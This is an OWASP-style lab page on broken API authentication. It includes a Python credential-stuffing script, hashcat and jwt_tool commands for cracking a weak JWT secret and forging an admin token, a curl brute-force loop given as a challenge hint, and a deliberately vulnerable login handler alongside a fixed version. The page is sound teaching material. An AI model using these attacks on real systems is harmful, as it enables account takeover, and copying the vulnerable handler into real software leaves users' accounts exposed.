๐Ÿ›ก OWASP Lab
API2:2023 Critical

Broken Authentication

Theory

API2 Broken Authentication covers all weaknesses in the API's identity verification mechanisms. APIs are typically stateless and rely on tokens (JWT, API keys, OAuth tokens) โ€” if those tokens are weak, long-lived, or improperly validated, attackers bypass authentication entirely or impersonate any user.

Common API Authentication Failures

  • No rate limiting on the login endpoint โ€” unlimited password guesses; attackers run credential stuffing lists of billions of leaked passwords
  • API keys transmitted in URLs โ€” GET /api/data?api_key=abc123. URLs appear in server logs, browser history, Referer headers, and CDN access logs โ€” all of which are readable by parties other than the intended recipient
  • Tokens that never expire โ€” a leaked JWT or API key remains valid forever; there's no recovery mechanism
  • Weak JWT secrets โ€” a short or dictionary-based HMAC secret can be brute-forced offline once an attacker captures a token
  • Refresh token rotation not enforced โ€” an old refresh token remains valid after rotation, allowing persistent access with a stolen token
  • Token stored in localStorage โ€” accessible by any JavaScript on the page; XSS silently steals the token and sends it to the attacker

Credential Stuffing Attack

# RockYou2021 has 8.4 billion leaked credentials.
# Without rate limiting, an attacker sends thousands of requests per minute:

import requests

credentials = [
    ("alice@example.com", "password123"),
    ("alice@example.com", "alice2024"),
    ("admin@example.com", "admin123"),
    # ... 100,000 more pairs from breach databases
]

for email, password in credentials:
    r = requests.post("https://target.com/api/v1/auth/login",
                      json={"email": email, "password": password})
    if r.status_code == 200:
        print(f"VALID: {email}:{password}")
        print(f"Token: {r.json()['token']}")  # account takeover

JWT Secret Brute-Force

# If the JWT is signed with a weak secret, crack it offline:
hashcat -m 16500 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoyLCJyb2xlIjoidXNlciJ9.signature rockyou.txt

# Or with jwt_tool:
python3 jwt_tool.py eyJ... -C -d rockyou.txt
# If cracked: secret = "secret123"
# Now forge a new token with role: admin:
python3 jwt_tool.py eyJ... -T -S hs256 -p secret123

Vulnerable Code

# VULNERABLE โ€” no rate limiting; weak secret; token never expires
import jwt

SECRET = "secret"   # dictionary word; crackable in seconds

@app.post("/api/v1/auth/login")
def login(username: str, password: str):
    user = db.get_user(username)
    if not user or user.password != password:   # plaintext comparison!
        return {"error": "invalid"}
    token = jwt.encode({"user_id": user.id, "role": user.role}, SECRET, algorithm="HS256")
    # No exp claim โ€” token is valid forever
    # No rate limiting โ€” unlimited attempts allowed
    return {"token": token}

Fixed Code

import jwt, bcrypt, secrets
from datetime import datetime, timedelta
from slowapi import Limiter

limiter = Limiter(key_func=get_remote_address)
SECRET = secrets.token_hex(32)   # 256-bit random secret; generated at startup

@app.post("/api/v1/auth/login")
@limiter.limit("5/minute")        # rate limit: 5 attempts per IP per minute
def login(request: Request, credentials: LoginRequest):
    user = db.get_user(credentials.username)
    dummy_hash = "$2b$12$invalidhashfortimingprotection"
    valid_hash = user.password_hash if user else dummy_hash
    if not user or not bcrypt.checkpw(credentials.password.encode(), valid_hash.encode()):
        return {"error": "Invalid username or password"}   # uniform message
    token = jwt.encode({
        "user_id": user.id,
        "role": user.role,
        "exp": datetime.utcnow() + timedelta(hours=1),   # short expiry
        "iat": datetime.utcnow(),
    }, SECRET, algorithm="HS256")
    return {"token": token}

Real-World Breaches

  • Peloton (2021) โ€” The API returned private user data (age, gender, location, workout data) for any user ID without authentication. The API required a token only for some routes.
  • T-Mobile (2021) โ€” An unauthenticated API endpoint allowed querying account data using a phone number; 47 million customer records exposed
  • Coinbase (2021) โ€” Race condition in the 2FA flow allowed bypassing MFA during login; discovered via bug bounty, $250,000 critical payout

How to Fix โ€” Checklist

  • Rate limit all auth endpoints โ€” 5โ€“10 attempts per IP per minute; exponential backoff after threshold
  • Use short-lived tokens โ€” JWTs should expire in 15โ€“60 minutes; use refresh tokens with rotation
  • Strong JWT secrets โ€” minimum 256-bit random key generated at startup; stored in a secrets manager
  • Tokens in Authorization header, not URLs โ€” Authorization: Bearer <token>; never as query parameters
  • Require MFA for sensitive accounts โ€” admin, finance, DevOps; use TOTP (FIDO2 preferred)
  • Audit token issuance โ€” log every login, token refresh, and token revocation
Challenge 1

No Rate Limiting โ€” Brute-Force Admin Password

The login endpoint has no rate limiting or lockout. Brute-force admin's password. The password list is: admin123, password, letmein, admin, secret123.

Hint
for p in admin123 password letmein admin secret123; do curl -s -X POST /api/v1/auth/login -H 'Content-Type: application/json' -d "{\"username\":\"admin\",\"password\":\"$p\"}" | grep -q token && echo "Found: $p" && break; done